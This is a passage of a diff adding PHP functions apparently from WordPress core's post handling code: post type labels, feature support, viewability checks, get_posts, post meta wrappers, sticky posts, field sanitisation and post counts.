+		'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) ),
+		'archives' => array( __( 'Post Archives' ), __( 'Page Archives' ) ),
+		'attributes' => array( __( 'Post Attributes' ), __( 'Page Attributes' ) ),
+		'insert_into_item' => array( __( 'Insert into post' ), __( 'Insert into page' ) ),
+		'uploaded_to_this_item' => array( __( 'Uploaded to this post' ), __( 'Uploaded to this page' ) ),
+		'featured_image' => array( _x( 'Featured Image', 'post' ), _x( 'Featured Image', 'page' ) ),
+		'set_featured_image' => array( _x( 'Set featured image', 'post' ), _x( 'Set featured image', 'page' ) ),
+		'remove_featured_image' => array( _x( 'Remove featured image', 'post' ), _x( 'Remove featured image', 'page' ) ),
+		'use_featured_image' => array( _x( 'Use as featured image', 'post' ), _x( 'Use as featured image', 'page' ) ),
+		'filter_items_list' => array( __( 'Filter posts list' ), __( 'Filter pages list' ) ),
+		'items_list_navigation' => array( __( 'Posts list navigation' ), __( 'Pages list navigation' ) ),
+		'items_list' => array( __( 'Posts list' ), __( 'Pages list' ) ),
+		'item_published' => array( __( 'Post published.' ), __( 'Page published.' ) ),
+		'item_published_privately' => array( __( 'Post published privately.' ), __( 'Page published privately.' ) ),
+		'item_reverted_to_draft' => array( __( 'Post reverted to draft.' ), __( 'Page reverted to draft.' ) ),
+		'item_scheduled' => array( __( 'Post scheduled.' ), __( 'Page scheduled.' ) ),
+		'item_updated' => array( __( 'Post updated.' ), __( 'Page updated.' ) ),
+	);
+	$nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
+
+	$labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults );
+
+	$post_type = $post_type_object->name;
+
+	$default_labels = clone $labels;
+
+	/**
+	 * Filters the labels of a specific post type.
+	 *
+	 * The dynamic portion of the hook name, `$post_type`, refers to
+	 * the post type slug.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @see get_post_type_labels() for the full list of labels.
+	 *
+	 * @param object $labels Object with labels for the post type as member variables.
+	 */
+	$labels = apply_filters( "post_type_labels_{$post_type}", $labels );
+
+	// Ensure that the filtered labels contain all required default values.
+	$labels = (object) array_merge( (array) $default_labels, (array) $labels );
+
+	return $labels;
+}
+
+/**
+ * Build an object with custom-something object (post type, taxonomy) labels
+ * out of a custom-something object
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param object $object                  A custom-something object.
+ * @param array  $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels.
+ * @return object Object containing labels for the given custom-something object.
+ */
+function _get_custom_object_labels( $object, $nohier_vs_hier_defaults ) {
+	$object->labels = (array) $object->labels;
+
+	if ( isset( $object->label ) && empty( $object->labels['name'] ) )
+		$object->labels['name'] = $object->label;
+
+	if ( !isset( $object->labels['singular_name'] ) && isset( $object->labels['name'] ) )
+		$object->labels['singular_name'] = $object->labels['name'];
+
+	if ( ! isset( $object->labels['name_admin_bar'] ) )
+		$object->labels['name_admin_bar'] = isset( $object->labels['singular_name'] ) ? $object->labels['singular_name'] : $object->name;
+
+	if ( !isset( $object->labels['menu_name'] ) && isset( $object->labels['name'] ) )
+		$object->labels['menu_name'] = $object->labels['name'];
+
+	if ( !isset( $object->labels['all_items'] ) && isset( $object->labels['menu_name'] ) )
+		$object->labels['all_items'] = $object->labels['menu_name'];
+
+	if ( !isset( $object->labels['archives'] ) && isset( $object->labels['all_items'] ) ) {
+		$object->labels['archives'] = $object->labels['all_items'];
+	}
+
+	$defaults = array();
+	foreach ( $nohier_vs_hier_defaults as $key => $value ) {
+		$defaults[$key] = $object->hierarchical ? $value[1] : $value[0];
+	}
+	$labels = array_merge( $defaults, $object->labels );
+	$object->labels = (object) $object->labels;
+
+	return (object) $labels;
+}
+
+/**
+ * Add submenus for post types.
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _add_post_type_submenus() {
+	foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) {
+		$ptype_obj = get_post_type_object( $ptype );
+		// Sub-menus only.
+		if ( ! $ptype_obj->show_in_menu || $ptype_obj->show_in_menu === true )
+			continue;
+		add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" );
+	}
+}
+
+/**
+ * Register support of certain features for a post type.
+ *
+ * All core features are directly associated with a functional area of the edit
+ * screen, such as the editor or a meta box. Features include: 'title', 'editor',
+ * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes',
+ * 'thumbnail', 'custom-fields', and 'post-formats'.
+ *
+ * Additionally, the 'revisions' feature dictates whether the post type will
+ * store revisions, and the 'comments' feature dictates whether the comments
+ * count will show on the edit screen.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_post_type_features
+ *
+ * @param string       $post_type The post type for which to add the feature.
+ * @param string|array $feature   The feature being added, accepts an array of
+ *                                feature strings or a single string.
+ */
+function add_post_type_support( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	$features = (array) $feature;
+	foreach ($features as $feature) {
+		if ( func_num_args() == 2 )
+			$_wp_post_type_features[$post_type][$feature] = true;
+		else
+			$_wp_post_type_features[$post_type][$feature] = array_slice( func_get_args(), 2 );
+	}
+}
+
+/**
+ * Remove support for a feature from a post type.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_post_type_features
+ *
+ * @param string $post_type The post type for which to remove the feature.
+ * @param string $feature   The feature being removed.
+ */
+function remove_post_type_support( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	unset( $_wp_post_type_features[ $post_type ][ $feature ] );
+}
+
+/**
+ * Get all the post type features
+ *
+ * @since 3.4.0
+ *
+ * @global array $_wp_post_type_features
+ *
+ * @param string $post_type The post type.
+ * @return array Post type supports list.
+ */
+function get_all_post_type_supports( $post_type ) {
+	global $_wp_post_type_features;
+
+	if ( isset( $_wp_post_type_features[$post_type] ) )
+		return $_wp_post_type_features[$post_type];
+
+	return array();
+}
+
+/**
+ * Check a post type's support for a given feature.
+ *
+ * @since 3.0.0
+ *
+ * @global array $_wp_post_type_features
+ *
+ * @param string $post_type The post type being checked.
+ * @param string $feature   The feature being checked.
+ * @return bool Whether the post type supports the given feature.
+ */
+function post_type_supports( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	return ( isset( $_wp_post_type_features[$post_type][$feature] ) );
+}
+
+/**
+ * Retrieves a list of post type names that support a specific feature.
+ *
+ * @since 4.5.0
+ *
+ * @global array $_wp_post_type_features Post type features
+ *
+ * @param array|string $feature  Single feature or an array of features the post types should support.
+ * @param string       $operator Optional. The logical operation to perform. 'or' means
+ *                               only one element from the array needs to match; 'and'
+ *                               means all elements must match; 'not' means no elements may
+ *                               match. Default 'and'.
+ * @return array A list of post type names.
+ */
+function get_post_types_by_support( $feature, $operator = 'and' ) {
+	global $_wp_post_type_features;
+
+	$features = array_fill_keys( (array) $feature, true );
+
+	return array_keys( wp_filter_object_list( $_wp_post_type_features, $features, $operator ) );
+}
+
+/**
+ * Update the post type for the post ID.
+ *
+ * The page or post cache will be cleaned for the post ID.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $post_id   Optional. Post ID to change post type. Default 0.
+ * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to
+ *                          name a few. Default 'post'.
+ * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure.
+ */
+function set_post_type( $post_id = 0, $post_type = 'post' ) {
+	global $wpdb;
+
+	$post_type = sanitize_post_field('post_type', $post_type, $post_id, 'db');
+	$return = $wpdb->update( $wpdb->posts, array('post_type' => $post_type), array('ID' => $post_id) );
+
+	clean_post_cache( $post_id );
+
+	return $return;
+}
+
+/**
+ * Determines whether a post type is considered "viewable".
+ *
+ * For built-in post types such as posts and pages, the 'public' value will be evaluated.
+ * For all others, the 'publicly_queryable' value will be used.
+ *
+ * @since 4.4.0
+ * @since 4.5.0 Added the ability to pass a post type name in addition to object.
+ * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+ *
+ * @param string|WP_Post_Type $post_type Post type name or object.
+ * @return bool Whether the post type should be considered viewable.
+ */
+function is_post_type_viewable( $post_type ) {
+	if ( is_scalar( $post_type ) ) {
+		$post_type = get_post_type_object( $post_type );
+		if ( ! $post_type ) {
+			return false;
+		}
+	}
+
+	if ( ! is_object( $post_type ) ) {
+		return false;
+	}
+
+	$is_viewable = $post_type->publicly_queryable || ( $post_type->_builtin && $post_type->public );
+
+	/**
+	 * Filters whether a post type is considered "viewable".
+	 *
+	 * The returned filtered value must be a boolean type to ensure
+	 * `is_post_type_viewable()` only returns a boolean. This strictness
+	 * is by design to maintain backwards-compatibility and guard against
+	 * potential type errors in PHP 8.1+. Non-boolean values (even falsey
+	 * and truthy values) will result in the function returning false.
+	 *
+	 * @since 5.9.0
+	 *
+	 * @param bool         $is_viewable Whether the post type is "viewable" (strict type).
+	 * @param WP_Post_Type $post_type   Post type object.
+	 */
+	return true === apply_filters( 'is_post_type_viewable', $is_viewable, $post_type );
+}
+
+/**
+ * Determines whether a post status is considered "viewable".
+ *
+ * For built-in post statuses such as publish and private, the 'public' value will be evaluated.
+ * For all others, the 'publicly_queryable' value will be used.
+ *
+ * @since 5.7.0
+ * @since 5.9.0 Added `is_post_status_viewable` hook to filter the result.
+ *
+ * @param string|stdClass $post_status Post status name or object.
+ * @return bool Whether the post status should be considered viewable.
+ */
+function is_post_status_viewable( $post_status ) {
+	if ( is_scalar( $post_status ) ) {
+		$post_status = get_post_status_object( $post_status );
+
+		if ( ! $post_status ) {
+			return false;
+		}
+	}
+
+	if (
+		! is_object( $post_status ) ||
+		$post_status->internal ||
+		$post_status->protected
+	) {
+		return false;
+	}
+
+	$is_viewable = $post_status->publicly_queryable || ( $post_status->_builtin && $post_status->public );
+
+	/**
+	 * Filters whether a post status is considered "viewable".
+	 *
+	 * The returned filtered value must be a boolean type to ensure
+	 * `is_post_status_viewable()` only returns a boolean. This strictness
+	 * is by design to maintain backwards-compatibility and guard against
+	 * potential type errors in PHP 8.1+. Non-boolean values (even falsey
+	 * and truthy values) will result in the function returning false.
+	 *
+	 * @since 5.9.0
+	 *
+	 * @param bool     $is_viewable Whether the post status is "viewable" (strict type).
+	 * @param stdClass $post_status Post status object.
+	 */
+	return true === apply_filters( 'is_post_status_viewable', $is_viewable, $post_status );
+}
+
+/**
+ * Determines whether a post is publicly viewable.
+ *
+ * Posts are considered publicly viewable if both the post status and post type
+ * are viewable.
+ *
+ * @since 5.7.0
+ *
+ * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
+ * @return bool Whether the post is publicly viewable.
+ */
+function is_post_publicly_viewable( $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	$post_type   = get_post_type( $post );
+	$post_status = get_post_status( $post );
+
+	return is_post_type_viewable( $post_type ) && is_post_status_viewable( $post_status );
+}
+
+/**
+ * Retrieve list of latest posts or posts matching criteria.
+ *
+ * The defaults are as follows:
+ *
+ * @since 1.2.0
+ *
+ * @see WP_Query::parse_query()
+ *
+ * @param array $args {
+ *     Optional. Arguments to retrieve posts. See WP_Query::parse_query() for all
+ *     available arguments.
+ *
+ *     @type int        $numberposts      Total number of posts to retrieve. Is an alias of $posts_per_page
+ *                                        in WP_Query. Accepts -1 for all. Default 5.
+ *     @type int|string $category         Category ID or comma-separated list of IDs (this or any children).
+ *                                        Is an alias of $cat in WP_Query. Default 0.
+ *     @type array      $include          An array of post IDs to retrieve, sticky posts will be included.
+ *                                        Is an alias of $post__in in WP_Query. Default empty array.
+ *     @type array      $exclude          An array of post IDs not to retrieve. Default empty array.
+ *     @type bool       $suppress_filters Whether to suppress filters. Default true.
+ * }
+ * @return array List of posts.
+ */
+function get_posts( $args = null ) {
+	$defaults = array(
+		'numberposts' => 5,
+		'category' => 0, 'orderby' => 'date',
+		'order' => 'DESC', 'include' => array(),
+		'exclude' => array(), 'meta_key' => '',
+		'meta_value' =>'', 'post_type' => 'post',
+		'suppress_filters' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	if ( empty( $r['post_status'] ) )
+		$r['post_status'] = ( 'attachment' == $r['post_type'] ) ? 'inherit' : 'publish';
+	if ( ! empty($r['numberposts']) && empty($r['posts_per_page']) )
+		$r['posts_per_page'] = $r['numberposts'];
+	if ( ! empty($r['category']) )
+		$r['cat'] = $r['category'];
+	if ( ! empty($r['include']) ) {
+		$incposts = wp_parse_id_list( $r['include'] );
+		$r['posts_per_page'] = count($incposts);  // only the number of posts included
+		$r['post__in'] = $incposts;
+	} elseif ( ! empty($r['exclude']) )
+		$r['post__not_in'] = wp_parse_id_list( $r['exclude'] );
+
+	$r['ignore_sticky_posts'] = true;
+	$r['no_found_rows'] = true;
+
+	$get_posts = new WP_Query;
+	return $get_posts->query($r);
+
+}
+
+//
+// Post meta functions
+//
+
+/**
+ * Add meta data field to a post.
+ *
+ * Post meta data is called "Custom Fields" on the Administration Screen.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param bool   $unique     Optional. Whether the same key should not be added.
+ *                           Default false.
+ * @return int|false Meta ID on success, false on failure.
+ */
+function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) {
+	// Make sure meta is added to the post, not a revision.
+	$the_post = wp_is_post_revision( $post_id );
+	if ( $the_post ) {
+		$post_id = $the_post;
+	}
+
+	return add_metadata( 'post', $post_id, $meta_key, $meta_value, $unique );
+}
+
+/**
+ * Remove metadata matching criteria from a post.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Optional. Metadata value. Must be serializable if
+ *                           non-scalar. Default empty.
+ * @return bool True on success, false on failure.
+ */
+function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) {
+	// Make sure meta is added to the post, not a revision.
+	$the_post = wp_is_post_revision( $post_id );
+	if ( $the_post ) {
+		$post_id = $the_post;
+	}
+
+	return delete_metadata( 'post', $post_id, $meta_key, $meta_value );
+}
+
+/**
+ * Retrieve post meta field for a post.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id Post ID.
+ * @param string $key     Optional. The meta key to retrieve. By default, returns
+ *                        data for all keys. Default empty.
+ * @param bool   $single  Optional. Whether to return a single value. Default false.
+ * @return mixed Will be an array if $single is false. Will be value of meta data
+ *               field if $single is true.
+ */
+function get_post_meta( $post_id, $key = '', $single = false ) {
+	return get_metadata('post', $post_id, $key, $single);
+}
+
+/**
+ * Update post meta field based on post ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and post ID.
+ *
+ * If the meta field for the post does not exist, it will be added.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata key.
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param mixed  $prev_value Optional. Previous value to check before removing.
+ *                           Default empty.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update,
+ *                  false on failure.
+ */
+function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) {
+	// Make sure meta is added to the post, not a revision.
+	$the_post = wp_is_post_revision( $post_id );
+	if ( $the_post ) {
+		$post_id = $the_post;
+	}
+
+	return update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );
+}
+
+/**
+ * Delete everything from post meta matching meta key.
+ *
+ * @since 2.3.0
+ *
+ * @param string $post_meta_key Key to search for when deleting.
+ * @return bool Whether the post meta key was deleted from the database.
+ */
+function delete_post_meta_by_key( $post_meta_key ) {
+	return delete_metadata( 'post', null, $post_meta_key, '', true );
+}
+
+/**
+ * Registers a meta key for posts.
+ *
+ * @since 4.9.8
+ *
+ * @param string $post_type Post type to register a meta key for. Pass an empty string
+ *                          to register the meta key across all existing post types.
+ * @param string $meta_key  The meta key to register.
+ * @param array  $args      Data used to describe the meta key when registered. See
+ *                          {@see register_meta()} for a list of supported arguments.
+ * @return bool True if the meta key was successfully registered, false if not.
+ */
+function register_post_meta( $post_type, $meta_key, array $args ) {
+	$args['object_subtype'] = $post_type;
+
+	return register_meta( 'post', $meta_key, $args );
+}
+
+/**
+ * Unregisters a meta key for posts.
+ *
+ * @since 4.9.8
+ *
+ * @param string $post_type Post type the meta key is currently registered for. Pass
+ *                          an empty string if the meta key is registered across all
+ *                          existing post types.
+ * @param string $meta_key  The meta key to unregister.
+ * @return bool True on success, false if the meta key was not previously registered.
+ */
+function unregister_post_meta( $post_type, $meta_key ) {
+	return unregister_meta_key( 'post', $meta_key, $post_type );
+}
+
+/**
+ * Retrieve post meta fields, based on post ID.
+ *
+ * The post meta fields are retrieved from the cache where possible,
+ * so the function is optimized to be called more than once.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array Post meta for the given post.
+ */
+function get_post_custom( $post_id = 0 ) {
+	$post_id = absint( $post_id );
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	return get_post_meta( $post_id );
+}
+
+/**
+ * Retrieve meta field names for a post.
+ *
+ * If there are no meta fields, then nothing (null) will be returned.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array|void Array of the keys, if retrieved.
+ */
+function get_post_custom_keys( $post_id = 0 ) {
+	$custom = get_post_custom( $post_id );
+
+	if ( !is_array($custom) )
+		return;
+
+	if ( $keys = array_keys($custom) )
+		return $keys;
+}
+
+/**
+ * Retrieve values for a custom post field.
+ *
+ * The parameters must not be considered optional. All of the post meta fields
+ * will be retrieved and only the meta field key values returned.
+ *
+ * @since 1.2.0
+ *
+ * @param string $key     Optional. Meta field key. Default empty.
+ * @param int    $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array|null Meta field values.
+ */
+function get_post_custom_values( $key = '', $post_id = 0 ) {
+	if ( !$key )
+		return null;
+
+	$custom = get_post_custom($post_id);
+
+	return isset($custom[$key]) ? $custom[$key] : null;
+}
+
+/**
+ * Determines whether a post is sticky.
+ *
+ * Sticky posts should remain at the top of The Loop. If the post ID is not
+ * given, then The Loop ID for the current post will be used.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return bool Whether post is sticky.
+ */
+function is_sticky( $post_id = 0 ) {
+	$post_id = absint( $post_id );
+
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	$stickies = get_option( 'sticky_posts' );
+
+	if ( ! is_array( $stickies ) )
+		return false;
+
+	if ( in_array( $post_id, $stickies ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Sanitize every post field.
+ *
+ * If the context is 'raw', then the post object or array will get minimal
+ * sanitization of the integer fields.
+ *
+ * @since 2.3.0
+ *
+ * @see sanitize_post_field()
+ *
+ * @param object|WP_Post|array $post    The Post Object or Array
+ * @param string               $context Optional. How to sanitize post fields.
+ *                                      Accepts 'raw', 'edit', 'db', or 'display'.
+ *                                      Default 'display'.
+ * @return object|WP_Post|array The now sanitized Post Object or Array (will be the
+ *                              same type as $post).
+ */
+function sanitize_post( $post, $context = 'display' ) {
+	if ( is_object($post) ) {
+		// Check if post already filtered for this context.
+		if ( isset($post->filter) && $context == $post->filter )
+			return $post;
+		if ( !isset($post->ID) )
+			$post->ID = 0;
+		foreach ( array_keys(get_object_vars($post)) as $field )
+			$post->$field = sanitize_post_field($field, $post->$field, $post->ID, $context);
+		$post->filter = $context;
+	} elseif ( is_array( $post ) ) {
+		// Check if post already filtered for this context.
+		if ( isset($post['filter']) && $context == $post['filter'] )
+			return $post;
+		if ( !isset($post['ID']) )
+			$post['ID'] = 0;
+		foreach ( array_keys($post) as $field )
+			$post[$field] = sanitize_post_field($field, $post[$field], $post['ID'], $context);
+		$post['filter'] = $context;
+	}
+	return $post;
+}
+
+/**
+ * Sanitize post field based on context.
+ *
+ * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and
+ * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts
+ * are treated like 'display' when calling filters.
+ *
+ * @since 2.3.0
+ * @since 4.4.0 Like `sanitize_post()`, `$context` defaults to 'display'.
+ *
+ * @param string $field   The Post Object field name.
+ * @param mixed  $value   The Post Object value.
+ * @param int    $post_id Post ID.
+ * @param string $context Optional. How to sanitize post fields. Looks for 'raw', 'edit',
+ *                        'db', 'display', 'attribute' and 'js'. Default 'display'.
+ * @return mixed Sanitized value.
+ */
+function sanitize_post_field( $field, $value, $post_id, $context = 'display' ) {
+	$int_fields = array('ID', 'post_parent', 'menu_order');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	// Fields which contain arrays of integers.
+	$array_int_fields = array( 'ancestors' );
+	if ( in_array($field, $array_int_fields) ) {
+		$value = array_map( 'absint', $value);
+		return $value;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	$prefixed = false;
+	if ( false !== strpos($field, 'post_') ) {
+		$prefixed = true;
+		$field_no_prefix = str_replace('post_', '', $field);
+	}
+
+	if ( 'edit' == $context ) {
+		$format_to_edit = array('post_content', 'post_excerpt', 'post_title', 'post_password');
+
+		if ( $prefixed ) {
+
+			/**
+			 * Filters the value of a specific post field to edit.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value   Value of the post field.
+			 * @param int   $post_id Post ID.
+			 */
+			$value = apply_filters( "edit_{$field}", $value, $post_id );
+
+			/**
+			 * Filters the value of a specific post field to edit.
+			 *
+			 * The dynamic portion of the hook name, `$field_no_prefix`, refers to
+			 * the post field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value   Value of the post field.
+			 * @param int   $post_id Post ID.
+			 */
+			$value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id );
+		} else {
+			$value = apply_filters( "edit_post_{$field}", $value, $post_id );
+		}
+
+		if ( in_array($field, $format_to_edit) ) {
+			if ( 'post_content' == $field )
+				$value = format_to_edit($value, user_can_richedit());
+			else
+				$value = format_to_edit($value);
+		} else {
+			$value = esc_attr($value);
+		}
+	} elseif ( 'db' == $context ) {
+		if ( $prefixed ) {
+
+			/**
+			 * Filters the value of a specific post field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "pre_{$field}", $value );
+
+			/**
+			 * Filters the value of a specific field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field_no_prefix`, refers
+			 * to the post field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "{$field_no_prefix}_save_pre", $value );
+		} else {
+			$value = apply_filters( "pre_post_{$field}", $value );
+
+			/**
+			 * Filters the value of a specific post field before saving.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed $value Value of the post field.
+			 */
+			$value = apply_filters( "{$field}_pre", $value );
+		}
+	} else {
+
+		// Use display filters by default.
+		if ( $prefixed ) {
+
+			/**
+			 * Filters the value of a specific post field for display.
+			 *
+			 * The dynamic portion of the hook name, `$field`, refers to the post
+			 * field name.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param mixed  $value   Value of the prefixed post field.
+			 * @param int    $post_id Post ID.
+			 * @param string $context Context for how to sanitize the field. Possible
+			 *                        values include 'raw', 'edit', 'db', 'display',
+			 *                        'attribute' and 'js'.
+			 */
+			$value = apply_filters( "{$field}", $value, $post_id, $context );
+		} else {
+			$value = apply_filters( "post_{$field}", $value, $post_id, $context );
+		}
+
+		if ( 'attribute' == $context ) {
+			$value = esc_attr( $value );
+		} elseif ( 'js' == $context ) {
+			$value = esc_js( $value );
+		}
+	}
+
+	return $value;
+}
+
+/**
+ * Make a post sticky.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function stick_post( $post_id ) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		$stickies = array($post_id);
+
+	if ( ! in_array($post_id, $stickies) )
+		$stickies[] = $post_id;
+
+	$updated = update_option( 'sticky_posts', $stickies );
+
+	if ( $updated ) {
+		/**
+		 * Fires once a post has been added to the sticky list.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param int $post_id ID of the post that was stuck.
+		 */
+		do_action( 'post_stuck', $post_id );
+	}
+}
+
+/**
+ * Un-stick a post.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function unstick_post( $post_id ) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		return;
+
+	if ( ! in_array($post_id, $stickies) )
+		return;
+
+	$offset = array_search($post_id, $stickies);
+	if ( false === $offset )
+		return;
+
+	array_splice($stickies, $offset, 1);
+
+	$updated = update_option( 'sticky_posts', $stickies );
+
+	if ( $updated ) {
+		/**
+		 * Fires once a post has been removed from the sticky list.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param int $post_id ID of the post that was unstuck.
+		 */
+		do_action( 'post_unstuck', $post_id );
+	}
+}
+
+/**
+ * Return the cache key for wp_count_posts() based on the passed arguments.
+ *
+ * @since 3.9.0
+ *
+ * @param string $type Optional. Post type to retrieve count Default 'post'.
+ * @param string $perm Optional. 'readable' or empty. Default empty.
+ * @return string The cache key.
+ */
+function _count_posts_cache_key( $type = 'post', $perm = '' ) {
+	$cache_key = 'posts-' . $type;
+	if ( 'readable' == $perm && is_user_logged_in() ) {
+		$post_type_object = get_post_type_object( $type );
+		if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
+			$cache_key .= '_' . $perm . '_' . get_current_user_id();
+		}
+	}
+	return $cache_key;
+}
+
+/**
+ * Count number of posts of a post type and if user has permissions to view.
+ *
+ * This function provides an efficient method of finding the amount of post's
+ * type a blog has. Another method is to count the amount of items in
+ * get_posts(), but that method has a lot of overhead with doing so. Therefore,
+ * when developing for 2.5+, use this function instead.
+ *
+ * The $perm parameter checks for 'readable' value and if the user can read
+ * private posts, it will display that for the user that is signed in.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $type Optional. Post type to retrieve count. Default 'post'.
+ * @param string $perm Optional. 'readable' or empty. Default empty.
+ * @return object Number of posts for each status.
+ */
+function wp_count_posts( $type = 'post', $perm = '' ) {
+	global $wpdb;
+
+	if ( ! post_type_exists( $type ) )
+		return new stdClass;
+
+	$cache_key = _count_posts_cache_key( $type, $perm );
+
+	$counts = wp_cache_get( $cache_key, 'counts' );
+	if ( false !== $counts ) {
+		/** This filter is documented in wp-includes/post.php */
+		return apply_filters( 'wp_count_posts', $counts, $type, $perm );
+	}
+
+	$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
+	if ( 'readable' == $perm && is_user_logged_in() ) {
+		$post_type_object = get_post_type_object($type);
+		if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
+			$query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
+				get_current_user_id()
+			);
+		}
+	}
+	$query .= ' GROUP BY post_status';
+
+	$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
+	$counts = array_fill_keys( get_post_stati(), 0 );
+
+	foreach ( $results as $row ) {
+		$counts[ $row['post_status'] ] = $row['num_posts'];
+	}
+
+	$counts = (object) $counts;
+	wp_cache_set( $cache_key, $counts, 'counts' );
+
+	/**
+	 * Modify returned post counts by status for the current post type.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $counts An object containing the current post_type's post
+	 *                       counts by status.
+	 * @param string $type   Post type.
+	 * @param string $perm   The permission to determine if the posts are 'readable'
+	 *                       by the current user.
+	 */
+	return apply_filters( 'wp_count_posts', $counts, $type, $perm );
+}
+
+/**
+ * Count number of attachments for the mime type(s).
+ *
+ * If you set the optional mime_type parameter, then an array will still be
+ * returned, but will only have the item you are looking for. It does not give
+ * you the number of attachments that are children of a post. You can get that
+ * by counting the number of children that post has.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $mime_type Optional. Array or comma-separated list of
+ *                                MIME patterns. Default empty.
+ * @return object An object containing the attachment counts by mime type.
+ */
+function wp_count_attachments( $mime_type = '' ) {
+	global $wpdb;
+
+	$and = wp_post_mime_type_where( $mime_type );
+	$count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A );
+
+	$counts = array();
+	foreach ( (array) $count as $row ) {
+		$counts[ $row['post_mime_type'] ] = $row['num_posts'];
+	}
+	$counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and");
+
+	/**
+	 * Modify returned attachment counts by mime type.
+	 *
+	 * @since 3.7.0
